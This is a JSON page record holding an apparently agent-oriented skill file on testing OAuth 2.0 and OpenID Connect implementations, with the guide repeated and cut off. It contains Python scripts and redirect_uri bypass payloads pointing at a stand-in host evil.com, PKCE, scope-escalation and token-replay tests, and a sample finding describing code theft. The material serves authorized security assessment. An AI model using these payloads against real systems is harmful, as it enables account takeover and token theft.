[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7B9GHTBYP3E0Y1CGZ974B6M":3,"skill-same:01M7B9GHTBYP3E0Y1CGZ974B6M":81},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":15,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":45,"commitSha":46,"skillDirectory":47,"forksCount":13,"repositoryHtmlUrl":48,"repositoryHomepageUrl":6,"ownerHtmlUrl":49,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":50,"install":51,"resources":64},"01M7B9GHTBYP3E0Y1CGZ974B6M","testing-oauth2-implementation-flaws",null,"Tests OAuth 2.0 and OpenID Connect implementations for authorization code interception, redirect URI manipulation, CSRF in OAuth flows, token leakage, scope escalation, and PKCE bypass, using Burp Suite Professional and the EsPReSSO extension to probe the authorization server, client, and token handling. Use when assessing OAuth2\u002FOIDC flows or SSO systems for misconfigurations enabling account takeover.","vikasvardhanv\u002Fjerry_skills","vikasvardhanv","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F99010657?v=4","01M7B2B0VN78W7529RQX5BR6DZ","01M7B2B0WDNTXJHRK3QNPNWRP6",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Ftesting-oauth2-implementation-flaws\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Ftesting-oauth2-implementation-flaws\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: testing-oauth2-implementation-flaws\ndescription: Tests OAuth 2.0 and OpenID Connect implementations for authorization code\n  interception, redirect URI manipulation, CSRF in OAuth flows, token leakage, scope\n  escalation, and PKCE bypass, using Burp Suite Professional and the EsPReSSO extension\n  to probe the authorization server, client, and token handling. Use when assessing OAuth2\u002FOIDC\n  flows or SSO systems for misconfigurations enabling account takeover.\ndomain: cybersecurity\nsubdomain: api-security\ntags:\n- api-security\n- oauth2\n- oidc\n- authentication\n- redirect-uri\n- token-security\nversion: 1.0.0\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1552.001\n- T1027\n- T1070\n---\n# Testing OAuth2 Implementation Flaws\n\n## When to Use\n\n- Assessing OAuth 2.0 authorization code flow for redirect URI validation weaknesses\n- Testing OAuth client applications for CSRF protection (state parameter usage) and PKCE enforcement\n- Evaluating token storage, transmission, and lifecycle management in OAuth implementations\n- Testing scope escalation where clients request more permissions than authorized\n- Assessing OpenID Connect implementations for ID token validation and nonce usage\n\n**Do not use** without written authorization. OAuth testing may result in token theft or unauthorized access.\n\n## Prerequisites\n\n- Written authorization specifying the OAuth provider and client applications in scope\n- Test OAuth client registered with the authorization server\n- Burp Suite Professional for intercepting OAuth redirects and token flows\n- Python 3.10+ with `requests` and `oauthlib` libraries\n- Browser developer tools for observing OAuth redirect chains\n- Knowledge of the OAuth 2.0 grant types in use (authorization code, implicit, client credentials)\n\n## Workflow\n\n### Step 1: OAuth Flow Reconnaissance\n\n```python\nimport requests\nimport urllib.parse\nimport re\nimport hashlib\nimport base64\nimport secrets\n\nAUTH_SERVER = \"https:\u002F\u002Fauth.example.com\"\nCLIENT_ID = \"test-client-id\"\nREDIRECT_URI = \"https:\u002F\u002Fapp.example.com\u002Fcallback\"\nSCOPE = \"openid profile email\"\n\n# Discover OAuth endpoints\nwell_known = requests.get(f\"{AUTH_SERVER}\u002F.well-known\u002Fopenid-configuration\")\nif well_known.status_code == 200:\n    config = well_known.json()\n    print(\"OAuth\u002FOIDC Configuration:\")\n    print(f\"  Authorization: {config.get('authorization_endpoint')}\")\n    print(f\"  Token: {config.get('token_endpoint')}\")\n    print(f\"  UserInfo: {config.get('userinfo_endpoint')}\")\n    print(f\"  JWKS: {config.get('jwks_uri')}\")\n    print(f\"  Supported grants: {config.get('grant_types_supported')}\")\n    print(f\"  Supported scopes: {config.get('scopes_supported')}\")\n    print(f\"  PKCE methods: {config.get('code_challenge_methods_supported')}\")\n    auth_endpoint = config['authorization_endpoint']\n    token_endpoint = config['token_endpoint']\nelse:\n    # Try common paths\n    for path in [\"\u002Fauthorize\", \"\u002Foauth\u002Fauthorize\", \"\u002Foauth2\u002Fauthorize\", \"\u002Fauth\"]:\n        resp = requests.get(f\"{AUTH_SERVER}{path}\", allow_redirects=False)\n        if resp.status_code in (302, 400):\n            print(f\"Authorization endpoint found: {AUTH_SERVER}{path}\")\n            auth_endpoint = f\"{AUTH_SERVER}{path}\"\n            break\n```\n\n### Step 2: Redirect URI Validation Testing\n\n```python\n# Test redirect_uri validation strictness\nREDIRECT_BYPASS_PAYLOADS = [\n    # Open redirect variations\n    REDIRECT_URI,                                          # Legitimate\n    \"https:\u002F\u002Fevil.com\",                                    # Different domain\n    \"https:\u002F\u002Fapp.example.com.evil.com\u002Fcallback\",          # Subdomain of attacker\n    \"https:\u002F\u002Fapp.example.com@evil.com\u002Fcallback\",          # URL authority confusion\n    f\"{REDIRECT_URI}\u002F..\u002F..\u002F..\u002Fevil.com\",                  # Path traversal\n    f\"{REDIRECT_URI}?next=https:\u002F\u002Fevil.com\",              # Parameter injection\n    f\"{REDIRECT_URI}#https:\u002F\u002Fevil.com\",                   # Fragment injection\n    f\"{REDIRECT_URI}%23evil.com\",                         # Encoded fragment\n    \"https:\u002F\u002Fapp.example.com\u002Fcallback\u002F..\u002F..\u002Fevil\",        # Relative path\n    \"https:\u002F\u002FAPP.EXAMPLE.COM\u002Fcallback\",                   # Case variation\n    \"https:\u002F\u002Fapp.example.com\u002FCallback\",                   # Path case variation\n    \"https:\u002F\u002Fapp.example.com\u002Fcallback\u002F\",                  # Trailing slash\n    \"https:\u002F\u002Fapp.example.com\u002Fcallback?\",                  # Trailing question mark\n    \"http:\u002F\u002Fapp.example.com\u002Fcallback\",                    # HTTP downgrade\n    \"https:\u002F\u002Fapp.example.com:443\u002Fcallback\",               # Explicit port\n    \"https:\u002F\u002Fapp.example.com:8443\u002Fcallback\",              # Different port\n    f\"{REDIRECT_URI}\u002F.evil.com\",                          # Dot segment\n    \"https:\u002F\u002Fapp.example.com\u002Fcallbackevil\",               # Path prefix match\n    \"javascript:\u002F\u002Fapp.example.com\u002Fcallback%0aalert(1)\",   # JavaScript protocol\n]\n\nprint(\"=== Redirect URI Validation Testing ===\\n\")\nfor redirect in REDIRECT_BYPASS_PAYLOADS:\n    params = {\n        \"response_type\": \"code\",\n        \"client_id\": CLIENT_ID,\n        \"redirect_uri\": redirect,\n        \"scope\": SCOPE,\n        \"state\": secrets.token_urlsafe(32),\n    }\n    resp = requests.get(auth_endpoint, params=params, allow_redirects=False)\n\n    if resp.status_code == 302:\n        location = resp.headers.get(\"Location\", \"\")\n        if \"code=\" in location or redirect in location:\n            status = \"ACCEPTED\"\n            if redirect != REDIRECT_URI:\n                print(f\"  [VULNERABLE] {redirect[:70]} -> Redirect accepted\")\n        else:\n            status = \"REDIRECTED\"\n    elif resp.status_code == 400:\n        status = \"REJECTED\"\n    else:\n        status = f\"HTTP {resp.status_code}\"\n\n    if redirect == REDIRECT_URI:\n        print(f\"  [BASELINE] {redirect[:70]} -> {status}\")\n```\n\n### Step 3: State Parameter (CSRF) Testing\n\n```python\n# Test 1: Missing state parameter\nparams_no_state = {\n    \"response_type\": \"code\",\n    \"client_id\": CLIENT_ID,\n    \"redirect_uri\": REDIRECT_URI,\n    \"scope\": SCOPE,\n}\nresp = requests.get(auth_endpoint, params=params_no_state, allow_redirects=False)\nif resp.status_code == 302 and \"code=\" in resp.headers.get(\"Location\", \"\"):\n    print(\"[CSRF] Authorization code issued without state parameter\")\n\n# Test 2: State parameter reuse\nstate_value = \"fixed_state_value_123\"\n# Use same state for multiple authorization requests\nfor i in range(3):\n    params = {**params_no_state, \"state\": state_value}\n    resp = requests.get(auth_endpoint, params=params, allow_redirects=False)\n    if resp.status_code == 302:\n        location = resp.headers.get(\"Location\", \"\")\n        returned_state = urllib.parse.parse_qs(\n            urllib.parse.urlparse(location).query).get(\"state\", [None])[0]\n        if returned_state == state_value:\n            print(f\"[INFO] Same state accepted on attempt {i+1} (check client-side validation)\")\n\n# Test 3: Token exchange without state validation (client-side check)\n# Intercept the callback and try exchanging the code without state\nprint(\"\\nNote: State validation is a client-side check. Verify the callback handler validates state.\")\n```\n\n### Step 4: PKCE Bypass Testing\n\n```python\n# Test if PKCE (Proof Key for Code Exchange) is enforced\n\n# Generate PKCE values\ncode_verifier = secrets.token_urlsafe(64)[:128]\ncode_challenge = base64.urlsafe_b64encode(\n    hashlib.sha256(code_verifier.encode()).digest()\n).decode().rstrip('=')\n\n# Test 1: Authorization request without PKCE\nparams_no_pkce = {\n    \"response_type\": \"code\",\n    \"client_id\": CLIENT_ID,\n    \"redirect_uri\": REDIRECT_URI,\n    \"scope\": SCOPE,\n    \"state\": secrets.token_urlsafe(32),\n}\nresp = requests.get(auth_endpoint, params=params_no_pkce, allow_redirects=False)\nif resp.status_code == 302 and \"code=\" in resp.headers.get(\"Location\", \"\"):\n    print(\"[PKCE] Authorization code issued without PKCE challenge\")\n\n# Test 2: Token exchange without code_verifier\nauth_code = \"captured_auth_code\"  # From intercept\ntoken_resp = requests.post(token_endpoint, data={\n    \"grant_type\": \"authorization_code\",\n    \"code\": auth_code,\n    \"redirect_uri\": REDIRECT_URI,\n    \"client_id\": CLIENT_ID,\n    # No code_verifier\n})\nif token_resp.status_code == 200:\n    print(\"[PKCE] Token issued without code_verifier - PKCE not enforced\")\n\n# Test 3: Token exchange with wrong code_verifier\ntoken_resp = requests.post(token_endpoint, data={\n    \"grant_type\": \"authorization_code\",\n    \"code\": auth_code,\n    \"redirect_uri\": REDIRECT_URI,\n    \"client_id\": CLIENT_ID,\n    \"code_verifier\": \"wrong_verifier_value_that_does_not_match\",\n})\nif token_resp.status_code == 200:\n    print(\"[PKCE] Token issued with wrong code_verifier - PKCE validation broken\")\n\n# Test 4: Downgrade from S256 to plain\nparams_plain_pkce = {\n    **params_no_pkce,\n    \"code_challenge\": code_verifier,  # Plain = verifier itself\n    \"code_challenge_method\": \"plain\",\n}\nresp = requests.get(auth_endpoint, params=params_plain_pkce, allow_redirects=False)\nif resp.status_code == 302:\n    print(\"[PKCE] Plain challenge method accepted - vulnerable to interception\")\n```\n\n### Step 5: Scope Escalation and Token Testing\n\n```python\n# Test 1: Request additional scopes beyond what's registered\nelevated_scopes = [\n    \"openid profile email admin\",\n    \"openid profile email write:users\",\n    \"openid profile email delete:*\",\n    \"openid profile email admin:full\",\n    \"*\",\n]\n\nfor scope in elevated_scopes:\n    params = {\n        \"response_type\": \"code\",\n        \"client_id\": CLIENT_ID,\n        \"redirect_uri\": REDIRECT_URI,\n        \"scope\": scope,\n        \"state\": secrets.token_urlsafe(32),\n    }\n    resp = requests.get(auth_endpoint, params=params, allow_redirects=False)\n    if resp.status_code == 302:\n        location = resp.headers.get(\"Location\", \"\")\n        if \"code=\" in location:\n            print(f\"[SCOPE] Elevated scope accepted: {scope}\")\n\n# Test 2: Token reuse across clients\n# Use a token from client A on client B's API\ntoken_a = \"access_token_from_client_a\"\nresp = requests.get(\"https:\u002F\u002Fother-service.example.com\u002Fapi\u002Fresource\",\n    headers={\"Authorization\": f\"Bearer {token_a}\"})\nif resp.status_code == 200:\n    print(\"[TOKEN] Token from client A accepted by different service (audience not validated)\")\n\n# Test 3: Refresh token theft and reuse\nrefresh_token = \"captured_refresh_token\"\n# Try using refresh token with different client_id\ntoken_resp = requests.post(token_endpoint, data={\n    \"grant_type\": \"refresh_token\",\n    \"refresh_token\": refresh_token,\n    \"client_id\": \"different-client-id\",\n})\nif token_resp.status_code == 200:\n    print(\"[TOKEN] Refresh token accepted for different client - not bound to client\")\n```\n\n### Step 6: Implicit Flow and Token Leakage Testing\n\n```python\n# Test if implicit flow is enabled (should be disabled per OAuth 2.1)\nimplicit_params = {\n    \"response_type\": \"token\",\n    \"client_id\": CLIENT_ID,\n    \"redirect_uri\": REDIRECT_URI,\n    \"scope\": SCOPE,\n    \"state\": secrets.token_urlsafe(32),\n}\nresp = requests.get(auth_endpoint, params=implicit_params, allow_redirects=False)\nif resp.status_code == 302:\n    location = resp.headers.get(\"Location\", \"\")\n    if \"access_token=\" in location:\n        print(\"[IMPLICIT] Implicit flow enabled - token in URL fragment (deprecated\u002Finsecure)\")\n\n# Test token leakage via Referer header\n# Check if tokens appear in URLs that could leak via Referer\nprint(\"\\nToken Leakage Checks:\")\nprint(\"  - Check if access tokens appear in URL query parameters\")\nprint(\"  - Check if tokens are logged in server access logs\")\nprint(\"  - Check if callback URL with code is cached by the browser\")\nprint(\"  - Check if the authorization code is single-use (replay test)\")\n\n# Authorization code replay test\nauth_code_to_replay = \"captured_auth_code\"\nfor attempt in range(3):\n    token_resp = requests.post(token_endpoint, data={\n        \"grant_type\": \"authorization_code\",\n        \"code\": auth_code_to_replay,\n        \"redirect_uri\": REDIRECT_URI,\n        \"client_id\": CLIENT_ID,\n        \"client_secret\": \"client_secret_value\",\n    })\n    print(f\"  Code replay attempt {attempt+1}: {token_resp.status_code}\")\n    if attempt > 0 and token_resp.status_code == 200:\n        print(\"  [VULNERABLE] Authorization code is not single-use\")\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Authorization Code Flow** | OAuth 2.0 flow where the client receives an authorization code via redirect, then exchanges it for tokens at the token endpoint |\n| **PKCE** | Proof Key for Code Exchange - extension that binds the authorization request to the token request using a code verifier\u002Fchallenge, preventing authorization code interception |\n| **Redirect URI Validation** | Authorization server verification that the redirect_uri matches the registered value exactly, preventing code\u002Ftoken theft via open redirect |\n| **State Parameter** | Random value passed in the authorization request and verified in the callback to prevent CSRF attacks on the OAuth flow |\n| **Scope Escalation** | Requesting or obtaining more permissions (scopes) than the client is authorized for, enabling unauthorized access |\n| **Implicit Flow** | Deprecated OAuth flow that returns tokens directly in the URL fragment, vulnerable to token leakage and replay attacks |\n\n## Tools & Systems\n\n- **Burp Suite Professional**: Intercept and manipulate OAuth redirects, authorization codes, and token exchanges\n- **EsPReSSO (Burp Extension)**: Automated testing of OAuth and OpenID Connect implementations for known vulnerabilities\n- **oauth2-security-tester**: Dedicated tool for testing OAuth 2.0 flows against common attack patterns\n- **OWASP ZAP**: Passive scanner that detects OAuth misconfigurations in intercepted traffic\n- **jwt.io**: Online JWT decoder for analyzing OAuth access tokens and ID tokens\n\n## Common Scenarios\n\n### Scenario: Social Login OAuth Implementation Assessment\n\n**Context**: A web application implements \"Login with Google\" and \"Login with GitHub\" using OAuth 2.0 Authorization Code flow. The application is a SaaS platform where account takeover has high business impact.\n\n**Approach**:\n1. Analyze the OAuth configuration at `\u002F.well-known\u002Fopenid-configuration` for both providers\n2. Test redirect URI validation: discover that the application registers `https:\u002F\u002Fapp.example.com\u002Fcallback` but the server accepts `https:\u002F\u002Fapp.example.com\u002Fcallback\u002F..%2fevil`\n3. Test state parameter: authorization request includes state but the callback handler does not validate it (CSRF possible)\n4. Test PKCE: not implemented for the authorization code flow, making code interception possible on mobile\n5. Test implicit flow: still enabled despite not being used by the application\n6. Test scope: application requests `openid profile email` but the authorization server also grants `read:repos` without explicit consent\n7. Test authorization code replay: code can be exchanged twice, indicating lack of single-use enforcement\n8. Test token audience: access token from Google login accepted by GitHub API endpoint (audience not validated)\n\n**Pitfalls**:\n- Only testing the OAuth flow in the browser without intercepting and manipulating redirect parameters\n- Not testing both the authorization request and the token exchange independently\n- Missing open redirect vulnerabilities in the application that can be chained with OAuth redirect_uri\n- Not testing the state parameter validation on the client side (server may include it but client may not check it)\n- Assuming PKCE is enforced because the authorization server supports it (client must also send it)\n\n## Output Format\n\n```\n## Finding: OAuth2 Redirect URI Bypass Enables Authorization Code Theft\n\n**ID**: API-OAUTH-001\n**Severity**: Critical (CVSS 9.3)\n**Affected Component**: OAuth 2.0 Authorization Code Flow\n**Authorization Server**: auth.example.com\n\n**Description**:\nThe authorization server's redirect_uri validation uses prefix matching\ninstead of exact string matching. An attacker can manipulate the redirect_uri\nto redirect the authorization code to an attacker-controlled endpoint,\nenabling account takeover. Additionally, PKCE is not enforced and the\nstate parameter is not validated by the client application.\n\n**Proof of Concept**:\n1. Craft authorization URL with manipulated redirect_uri:\n   https:\u002F\u002Fauth.example.com\u002Fauthorize?response_type=code&client_id=app\n   &redirect_uri=https:\u002F\u002Fapp.example.com\u002Fcallback\u002F..\u002F..\u002F..\u002Fevil.com\n   &scope=openid+profile+email&state=abc123\n2. User authenticates and approves consent\n3. Authorization code redirected to https:\u002F\u002Fevil.com?code=AUTH_CODE&state=abc123\n4. Attacker exchanges code at token endpoint (no PKCE required)\n5. Attacker receives access token and ID token for victim's account\n\n**Impact**:\nComplete account takeover for any user who clicks a crafted OAuth login link.\nThe attacker gains full access to the user's profile, email, and any\nresources the OAuth scope grants access to.\n\n**Remediation**:\n1. Implement exact string matching for redirect_uri validation (no wildcards, no prefix matching)\n2. Enforce PKCE (S256 method) for all authorization code flow requests\n3. Validate the state parameter in the callback handler before exchanging the code\n4. Disable the implicit flow on the authorization server\n5. Enforce single-use authorization codes with a short TTL (max 60 seconds)\n6. Validate the audience (aud) claim in tokens before accepting them\n```\n","# Testing OAuth2 Implementation Flaws\n\n## When to Use\n\n- Assessing OAuth 2.0 authorization code flow for redirect URI validation weaknesses\n- Testing OAuth client applications for CSRF protection (state parameter usage) and PKCE enforcement\n- Evaluating token storage, transmission, and lifecycle management in OAuth implementations\n- Testing scope escalation where clients request more permissions than authorized\n- Assessing OpenID Connect implementations for ID token validation and nonce usage\n\n**Do not use** without written authorization. OAuth testing may result in token theft or unauthorized access.\n\n## Prerequisites\n\n- Written authorization specifying the OAuth provider and client applications in scope\n- Test OAuth client registered with the authorization server\n- Burp Suite Professional for intercepting OAuth redirects and token flows\n- Python 3.10+ with `requests` and `oauthlib` libraries\n- Browser developer tools for observing OAuth redirect chains\n- Knowledge of the OAuth 2.0 grant types in use (authorization code, implicit, client credentials)\n\n## Workflow\n\n### Step 1: OAuth Flow Reconnaissance\n\n```python\nimport requests\nimport urllib.parse\nimport re\nimport hashlib\nimport base64\nimport secrets\n\nAUTH_SERVER = \"https:\u002F\u002Fauth.example.com\"\nCLIENT_ID = \"test-client-id\"\nREDIRECT_URI = \"https:\u002F\u002Fapp.example.com\u002Fcallback\"\nSCOPE = \"openid profile email\"\n\n# Discover OAuth endpoints\nwell_known = requests.get(f\"{AUTH_SERVER}\u002F.well-known\u002Fopenid-configuration\")\nif well_known.status_code == 200:\n    config = well_known.json()\n    print(\"OAuth\u002FOIDC Configuration:\")\n    print(f\"  Authorization: {config.get('authorization_endpoint')}\")\n    print(f\"  Token: {config.get('token_endpoint')}\")\n    print(f\"  UserInfo: {config.get('userinfo_endpoint')}\")\n    print(f\"  JWKS: {config.get('jwks_uri')}\")\n    print(f\"  Supported grants: {config.get('grant_types_supported')}\")\n    print(f\"  Supported scopes: {config.get('scopes_supported')}\")\n    print(f\"  PKCE methods: {config.get('code_challenge_methods_supported')}\")\n    auth_endpoint = config['authorization_endpoint']\n    token_endpoint = config['token_endpoint']\nelse:\n    # Try common paths\n    for path in [\"\u002Fauthorize\", \"\u002Foauth\u002Fauthorize\", \"\u002Foauth2\u002Fauthorize\", \"\u002Fauth\"]:\n        resp = requests.get(f\"{AUTH_SERVER}{path}\", allow_redirects=False)\n        if resp.status_code in (302, 400):\n            print(f\"Authorization endpoint found: {AUTH_SERVER}{path}\")\n            auth_endpoint = f\"{AUTH_SERVER}{path}\"\n            break\n```\n\n### Step 2: Redirect URI Validation Testing\n\n```python\n# Test redirect_uri validation strictness\nREDIRECT_BYPASS_PAYLOADS = [\n    # Open redirect variations\n    REDIRECT_URI,                                          # Legitimate\n    \"https:\u002F\u002Fevil.com\",                                    # Different domain\n    \"https:\u002F\u002Fapp.example.com.evil.com\u002Fcallback\",          # Subdomain of attacker\n    \"https:\u002F\u002Fapp.example.com@evil.com\u002Fcallback\",          # URL authority confusion\n    f\"{REDIRECT_URI}\u002F..\u002F..\u002F..\u002Fevil.com\",                  # Path traversal\n    f\"{REDIRECT_URI}?next=https:\u002F\u002Fevil.com\",              # Parameter injection\n    f\"{REDIRECT_URI}#https:\u002F\u002Fevil.com\",                   # Fragment injection\n    f\"{REDIRECT_URI}%23evil.com\",                         # Encoded fragment\n    \"https:\u002F\u002Fapp.example.com\u002Fcallback\u002F..\u002F..\u002Fevil\",        # Relative path\n    \"https:\u002F\u002FAPP.EXAMPLE.COM\u002Fcallback\",                   # Case variation\n    \"https:\u002F\u002Fapp.example.com\u002FCallback\",                   # Path case variation\n    \"https:\u002F\u002Fapp.example.com\u002Fcallback\u002F\",                  # Trailing slash\n    \"https:\u002F\u002Fapp.example.com\u002Fcallback?\",                  # Trailing question mark\n    \"http:\u002F\u002Fapp.example.com\u002Fcallback\",                    # HTTP downgrade\n    \"https:\u002F\u002Fapp.example.com:443\u002Fcallback\",               # Explicit port\n    \"https:\u002F\u002Fapp.example.com:8443\u002Fcallback\",              # Different port\n    f\"{REDIRECT_URI}\u002F.evil.com\",                          # Dot segment\n    \"https:\u002F\u002Fapp.example.com\u002Fcallbackevil\",               # Path prefix match\n    \"javascript:\u002F\u002Fapp.example.com\u002Fcallback%0aalert(1)\",   # JavaScript protocol\n]\n\nprint(\"=== Redirect URI Validation Testing ===\\n\")\nfor redirect in REDIRECT_BYPASS_PAYLOADS:\n    params = {\n        \"response_type\": \"code\",\n        \"client_id\": CLIENT_ID,\n        \"redirect_uri\": redirect,\n        \"scope\": SCOPE,\n        \"state\": secrets.token_urlsafe(32),\n    }\n    resp = requests.get(auth_endpoint, params=params, allow_redirects=False)\n\n    if resp.status_code == 302:\n        location = resp.headers.get(\"Location\", \"\")\n        if \"code=\" in location or redirect in location:\n            status = \"ACCEPTED\"\n            if redirect != REDIRECT_URI:\n                print(f\"  [VULNERABLE] {redirect[:70]} -> Redirect accepted\")\n        else:\n            status = \"REDIRECTED\"\n    elif resp.status_code == 400:\n        status = \"REJECTED\"\n    else:\n        status = f\"HTTP {resp.status_code}\"\n\n    if redirect == REDIRECT_URI:\n        print(f\"  [BASELINE] {redirect[:70]} -> {status}\")\n```\n\n### Step 3: State Parameter (CSRF) Testing\n\n```python\n# Test 1: Missing state parameter\nparams_no_state = {\n    \"response_type\": \"code\",\n    \"client_id\": CLIENT_ID,\n    \"redirect_uri\": REDIRECT_URI,\n    \"scope\": SCOPE,\n}\nresp = requests.get(auth_endpoint, params=params_no_state, allow_redirects=False)\nif resp.status_code == 302 and \"code=\" in resp.headers.get(\"Location\", \"\"):\n    print(\"[CSRF] Authorization code issued without state parameter\")\n\n# Test 2: State parameter reuse\nstate_value = \"fixed_state_value_123\"\n# Use same state for multiple authorization requests\nfor i in range(3):\n    params = {**params_no_state, \"state\": state_value}\n    resp = requests.get(auth_endpoint, params=params, allow_redirects=False)\n    if resp.status_code == 302:\n        location = resp.headers.get(\"Location\", \"\")\n        returned_state = urllib.parse.parse_qs(\n            urllib.parse.urlparse(location).query).get(\"state\", [None])[0]\n        if returned_state == state_value:\n            print(f\"[INFO] Same state accepted on attempt {i+1} (check client-side validation)\")\n\n# Test 3: Token exchange without state validation (client-side check)\n# Intercept the callback and try exchanging the code without state\nprint(\"\\nNote: State validation is a client-side check. Verify the callback handler validates state.\")\n```\n\n### Step 4: PKCE Bypass Testing\n\n```python\n# Test if PKCE (Proof Key for Code Exchange) is enforced\n\n# Generate PKCE values\ncode_verifier = secrets.token_urlsafe(64)[:128]\ncode_challenge = base64.urlsafe_b64encode(\n    hashlib.sha256(code_verifier.encode()).digest()\n).decode().rstrip('=')\n\n# Test 1: Authorization request without PKCE\nparams_no_pkce = {\n    \"response_type\": \"code\",\n    \"client_id\": CLIENT_ID,\n    \"redirect_uri\": REDIRECT_URI,\n    \"scope\": SCOPE,\n    \"state\": secrets.token_urlsafe(32),\n}\nresp = requests.get(auth_endpoint, params=params_no_pkce, allow_redirects=False)\nif resp.status_code == 302 and \"code=\" in resp.headers.get(\"Location\", \"\"):\n    print(\"[PKCE] Authorization code issued without PKCE challenge\")\n\n# Test 2: Token exchange without code_verifier\nauth_code = \"captured_auth_code\"  # From intercept\ntoken_resp = requests.post(token_endpoint, data={\n    \"grant_type\": \"authorization_code\",\n    \"code\": auth_code,\n    \"redirect_uri\": REDIRECT_URI,\n    \"client_id\": CLIENT_ID,\n    # No code_verifier\n})\nif token_resp.status_code == 200:\n    print(\"[PKCE] Token issued without code_verifier - PKCE not enforced\")\n\n# Test 3: Token exchange with wrong code_verifier\ntoken_resp = requests.post(token_endpoint, data={\n    \"grant_type\": \"authorization_code\",\n    \"code\": auth_code,\n    \"redirect_uri\": REDIRECT_URI,\n    \"client_id\": CLIENT_ID,\n    \"code_verifier\": \"wrong_verifier_value_that_does_not_match\",\n})\nif token_resp.status_code == 200:\n    print(\"[PKCE] Token issued with wrong code_verifier - PKCE validation broken\")\n\n# Test 4: Downgrade from S256 to plain\nparams_plain_pkce = {\n    **params_no_pkce,\n    \"code_challenge\": code_verifier,  # Plain = verifier itself\n    \"code_challenge_method\": \"plain\",\n}\nresp = requests.get(auth_endpoint, params=params_plain_pkce, allow_redirects=False)\nif resp.status_code == 302:\n    print(\"[PKCE] Plain challenge method accepted - vulnerable to interception\")\n```\n\n### Step 5: Scope Escalation and Token Testing\n\n```python\n# Test 1: Request additional scopes beyond what's registered\nelevated_scopes = [\n    \"openid profile email admin\",\n    \"openid profile email write:users\",\n    \"openid profile email delete:*\",\n    \"openid profile email admin:full\",\n    \"*\",\n]\n\nfor scope in elevated_scopes:\n    params = {\n        \"response_type\": \"code\",\n        \"client_id\": CLIENT_ID,\n        \"redirect_uri\": REDIRECT_URI,\n        \"scope\": scope,\n        \"state\": secrets.token_urlsafe(32),\n    }\n    resp = requests.get(auth_endpoint, params=params, allow_redirects=False)\n    if resp.status_code == 302:\n        location = resp.headers.get(\"Location\", \"\")\n        if \"code=\" in location:\n            print(f\"[SCOPE] Elevated scope accepted: {scope}\")\n\n# Test 2: Token reuse across clients\n# Use a token from client A on client B's API\ntoken_a = \"access_token_from_client_a\"\nresp = requests.get(\"https:\u002F\u002Fother-service.example.com\u002Fapi\u002Fresource\",\n    headers={\"Authorization\": f\"Bearer {token_a}\"})\nif resp.status_code == 200:\n    print(\"[TOKEN] Token from client A accepted by different service (audience not validated)\")\n\n# Test 3: Refresh token theft and reuse\nrefresh_token = \"captured_refresh_token\"\n# Try using refresh token with different client_id\ntoken_resp = requests.post(token_endpoint, data={\n    \"grant_type\": \"refresh_token\",\n    \"refresh_token\": refresh_token,\n    \"client_id\": \"different-client-id\",\n})\nif token_resp.status_code == 200:\n    print(\"[TOKEN] Refresh token accepted for different client - not bound to client\")\n```\n\n### Step 6: Implicit Flow and Token Leakage Testing\n\n```python\n# Test if implicit flow is enabled (should be disabled per OAuth 2.1)\nimplicit_params = {\n    \"response_type\": \"token\",\n    \"client_id\": CLIENT_ID,\n    \"redirect_uri\": REDIRECT_URI,\n    \"scope\": SCOPE,\n    \"state\": secrets.token_urlsafe(32),\n}\nresp = requests.get(auth_endpoint, params=implicit_params, allow_redirects=False)\nif resp.status_code == 302:\n    location = resp.headers.get(\"Location\", \"\")\n    if \"access_token=\" in location:\n        print(\"[IMPLICIT] Implicit flow enabled - token in URL fragment (deprecated\u002Finsecure)\")\n\n# Test token leakage via Referer header\n# Check if tokens appear in URLs that could leak via Referer\nprint(\"\\nToken Leakage Checks:\")\nprint(\"  - Check if access tokens appear in URL query parameters\")\nprint(\"  - Check if tokens are logged in server access logs\")\nprint(\"  - Check if callback URL with code is cached by the browser\")\nprint(\"  - Check if the authorization code is single-use (replay test)\")\n\n# Authorization code replay test\nauth_code_to_replay = \"captured_auth_code\"\nfor attempt in range(3):\n    token_resp = requests.post(token_endpoint, data={\n        \"grant_type\": \"authorization_code\",\n        \"code\": auth_code_to_replay,\n        \"redirect_uri\": REDIRECT_URI,\n        \"client_id\": CLIENT_ID,\n        \"client_secret\": \"client_secret_value\",\n    })\n    print(f\"  Code replay attempt {attempt+1}: {token_resp.status_code}\")\n    if attempt > 0 and token_resp.status_code == 200:\n        print(\"  [VULNERABLE] Authorization code is not single-use\")\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Authorization Code Flow** | OAuth 2.0 flow where the client receives an authorization code via redirect, then exchanges it for tokens at the token endpoint |\n| **PKCE** | Proof Key for Code Exchange - extension that binds the authorization request to the token request using a code verifier\u002Fchallenge, preventing authorization code interception |\n| **Redirect URI Validation** | Authorization server verification that the redirect_uri matches the registered value exactly, preventing code\u002Ftoken theft via open redirect |\n| **State Parameter** | Random value passed in the authorization request and verified in the callback to prevent CSRF attacks on the OAuth flow |\n| **Scope Escalation** | Requesting or obtaining more permissions (scopes) than the client is authorized for, enabling unauthorized access |\n| **Implicit Flow** | Deprecated OAuth flow that returns tokens directly in the URL fragment, vulnerable to token leakage and replay attacks |\n\n## Tools & Systems\n\n- **Burp Suite Professional**: Intercept and manipulate OAuth redirects, authorization codes, and token exchanges\n- **EsPReSSO (Burp 